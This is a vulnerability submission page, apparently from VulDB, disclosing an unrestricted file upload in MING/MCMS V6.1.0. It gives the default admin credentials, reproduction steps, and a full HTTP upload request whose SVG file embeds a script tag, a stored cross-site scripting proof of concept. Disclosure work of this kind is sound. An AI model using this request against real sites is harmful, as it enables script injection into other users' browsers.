Soumettre #698628: MING V6.1.0 Unrestricted Upload

Download the source code from https://gitee.com/mingSoft/MCMS and deploy it locally for testing. The default administrator username and password are msopen/msopen.

In System Settings - Application Settings, upload your website logo (upload any JPG file), then modify the package file, changing the file extension to SVG, PDF, etc.

POST /ms/file/upload.do HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 653
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykBoAVaKYEqYVO7mB
sec-ch-ua-mobile: ?0
Accept: */*
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/ms/basic/app/app.do?
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: pageno_cookie=1; SHIRO_SESSION_ID=21278f9c-dd94-4a85-a5e9-556c95583048
Connection: keep-alive

------WebKitFormBoundarykBoAVaKYEqYVO7mB
Content-Disposition: form-data; name="uploadPath"

/appLogo
------WebKitFormBoundarykBoAVaKYEqYVO7mB
Content-Disposition: form-data; name="isRename"

true
------WebKitFormBoundarykBoAVaKYEqYVO7mB
Content-Disposition: form-data; name="appId"

true
------WebKitFormBoundarykBoAVaKYEqYVO7mB
Content-Disposition: form-data; name="file"; filename="1.xml"
Content-Type: image/jpeg

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script>alert(1)</script>
</svg>
------WebKitFormBoundarykBoAVaKYEqYVO7mB--

• Utilisateur: NasYh (UID 92820)
• Soumission: 20/11/2025 14:07 (il y a 11 mois)
• Modérer: 06/12/2025 14:57 (16 days later)
• Statut: Dupliqué
• Entrée VulDB: 252892 [MCMS 5.3.5 HTTP POST Request /ms/file/upload.do élévation de privilèges]
• Points: 0